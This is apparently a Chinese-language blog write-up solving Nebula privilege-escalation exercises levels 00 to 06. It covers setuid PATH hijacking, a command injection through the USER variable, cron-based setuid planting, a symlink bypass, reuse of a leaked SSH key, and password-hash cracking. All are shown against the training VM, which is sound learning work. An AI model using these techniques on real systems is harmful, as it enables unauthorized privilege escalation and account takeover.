Nebula write-up 00~06

Nebula 渗透练习答案

nebula exercises

Level 00

About
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00.
Source code
There is no source code available for this level


  1. 使用 find 及其参数查找:find -user flag00 -perm +x --查找一个用户属于flag00可执行的文件
  2. 找到诡异的文件夹 rofs/bin/.../
  3. 运行 ./flag00
  4. getflag 用户会切到flag00的名字下

Level 01

About
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");
}

level01@nebula: ls -l 
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
  1. 查看 flag01 的权限,发现对于用户flag01的s权限,即flag01执行该程序时有su权限
  2. flag01的源代码中,执行代码调用 env 调用系统功能打印“and now what?“。所以可以利用 env 调用自己的脚本,就可以用自身用户访问他人权限的内容
  3. 源代码中,getegid()geteuid() 获取egid和euid,用 setresgid() setresuid() 将当前进程的gid, uid写入,所以在运行flag01进程时,运行的外链脚本仍然使用flag01用户的权限
  4. 漏洞利用方法:在所有人都可以访问的 /tmp 目录构建 echo 文件,使得程序运行时调用自建echo的内容:
    ```bash

    !/bin/bash

    /bin/bash
    ```

  5. PATH=/tmp:$PATH/tmp目录加入PATH,使得运行echo时从/tmp中查找

Level 02

About
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    char *buffer;

    gid_t gid;
    uid_t uid;

    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    buffer = NULL;

    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
    
    system(buffer);
}

  1. 跟Level 01类似,都是通过 system() 注入命令,实验脚本有s执行权限
  2. 本来想着也去/tmp构造一个/bin/echo,发现即使从PATH中删掉了路径,也无法跨目录的把echo重定向到/tmp
  3. 显然问题的关键在USER,但试图通过正道修改登录名的办法显然是不行的
  4. 翻Google答案得知,卧槽好简单:

    $ USER="; /bin/bash; #"
        $ export USER
    $ /home/flag02/flag02

  5. 第一个分号截断刚开始的"/bin/echo"字段,使之不影响后面。第二个分号引入想要的内容。最精髓的井号,把最后一段扰乱节奏的" is cool"去掉。
  6. 总结:系统变量想改就改,直接在程序里使用系统变量非常危险;当然最主要的还是利用了s属性的程序提权。

Level 03

About
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.
Source code
There is no source code available for this level


  1. 这是一个利用定时任务进行提权完成的注入,定时任务跑在sudo权限,flag03是受害者账户,level03是攻击者账户。
  2. /home/flag03 目录下不可写,但/home/flag03/writable.d/由于是定时任务的读取目录,可以随意写。
  3. /home/flag03/writable.sh是定时任务的脚本入口,也就是说其实定时任务调用的是这个脚本。脚本只读。
  4. 刚开始的想法是,把bash脚本丢到/writable.d目录,应该就可以了吧。然而图样图森破,由于写脚本的用户是level03,因此即使能够成功运行该脚本,getflag也会告知并非跑在目标账户权限。
  5. 搜Google获知,还是得从/tmp目录下手,而且由cron定时任务去调用脚本,方可提权至flag03用户。所以,流程是:

    • 在level03的目录下写C的程序,通过获取GID和UID(像level 02中),通过system()函数运行bash
    • 将C程序编译好后放到/tmp
    • 编写shell脚本,通过复制/tmp下的程序到/home/flag03,使得新的C程序用户权限为flag03(这里有疑问,复制后的程序如果继续保留在/tmp下,似乎可以执行,但无法观测到运行结果,即无法看到"You have successfully executed getflag on a target account"的语句。有的人说用echo输出到文件,之后观测文件内容即可,没有尝试。)
    • 将shell脚本放到/home/flag03/writable.d,使其能通过定时任务调用
    • 当看到/home/flag03的目录出现flag03用户生成的C程序时,运行该程序即可看到flag的成功提示
    • 其实我并没有直接执行getflag,只是通过提权将执行getflag的命令通过flag03的权限放到了/home/flag03下,猜测通过定时任务加载的运行无法在前台显示出来

C程序

//可执行文件名字:togetflag
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    char *buffer;

    gid_t gid;
    uid_t uid;

    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env getflag"); //直接运行getflag看成功提示
}

挂载用脚本

# script name: flag03-call.sh
#!bin/bash

rm /tmp/flag03-getflag # to remove redundant binary
cp /tmp/togetflag /home/flag03/flag03-getflag # copy to victom directory
chmod u+s /home/flag03/flag03-getflag # modify privilege

运行结果:

level03@nebula:/home/flag03$ ls
flag03-getflag  writable.d  writable.sh
level03@nebula:/home/flag03$ ./flag03-getflag
You have successfully executed getflag on a target account

Level 04

About
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;

    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }

    rc = read(fd, buf, sizeof(buf));
    
    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }

    write(1, buf, rc);
}

这一次我几乎自己已经解出来了!!!

  1. 读完程序发现,其实flag04程序本身的作用是读取一个文件,但偏偏不能读取文件名中带有'token'字样的文件。然而题目要求我们读取的文件偏偏就叫token。果断想到,用别的方法传参或者改个名字就好啦。
  2. ls -l发现文件权限为flag04用户只读,其他读都不能读,所以没有办法用mv token hahaha的方式改名。
  3. 发现flag04的执行权限在flag04下有s标识,于是想是否构建一个程序,在程序中调用flag04且用字符串地址的方式传参。这样的话参数会不会就不是带有'token'字符的字符串了。
  4. 然而是我想多了,不管怎样,用system()函数运行命令的时候,总归要传递完整字符串给系统调用,因此还是会被flag04程序拦截。
  5. 突发奇想,用symblic link是不是可以。于是尝试了一下,我也不知道为什么就无果,于是放弃,与解题擦肩而过。
  6. Google了一下,果然就是软链接。
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/linktk
level04@nebula:/home/flag04$ ./flag04 /tmp/linktk
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04
Password: //上面token里的数字
sh-4.2$ whoami
flag04
sh-4.2$ getflag
You have successfully executed getflag on a target account    

Level 05

About
Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.
Source code
There is no source code available for this level


  1. 刚开始看起来一头雾水,因为到/home/flag05目录下ls啥也没有,ls -al也只有几个常规文件:.bash_logout .bashrc .profile .ssh .backup等等。
  2. 打开.backup发现有个压缩包,backup-19072011.tgz,解包到level05的目录,打开一看原来是ssh的配置文件。多半是flag05的登录文件吧。
  3. 剩下就很简单了,吧id_rsa复制到/home/level05/.ssh下,然后ssh flag05@localhost,一举成功。

总结:SSH私钥泄漏很可怕。有空改改SSH端口号还是有点用。


Level 06

About
The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
Source code
There is no source code available for this level


说实话这集有点赖

  1. 说要拿flag06的密钥,文件在/home/flag06,然而,这个文件夹里啥都没有。
  2. 自然去/etc/passwd看看,果然看到了加密之后的密文静静的躺在文件中。由于其他的用户密码都是x,即由/etc/shadow保护,只有flag06的密码密文躺在/etc/passwd,明显这就是送的。
  3. 可是题目说提示在/home/flag06啊,找了半天,啥有用的都没有。期间想过要不要用john暴力破解,但觉得一是要转到root账户下个软件,二是题目不能出的这么随性吧。
  4. 不幸言中,Google所有答案都是“再找一台电脑装上john the Ripper”来破解...

  1. 拿着秒破的密码去登录flag06账户就好了。

Comments
Write a Comment
'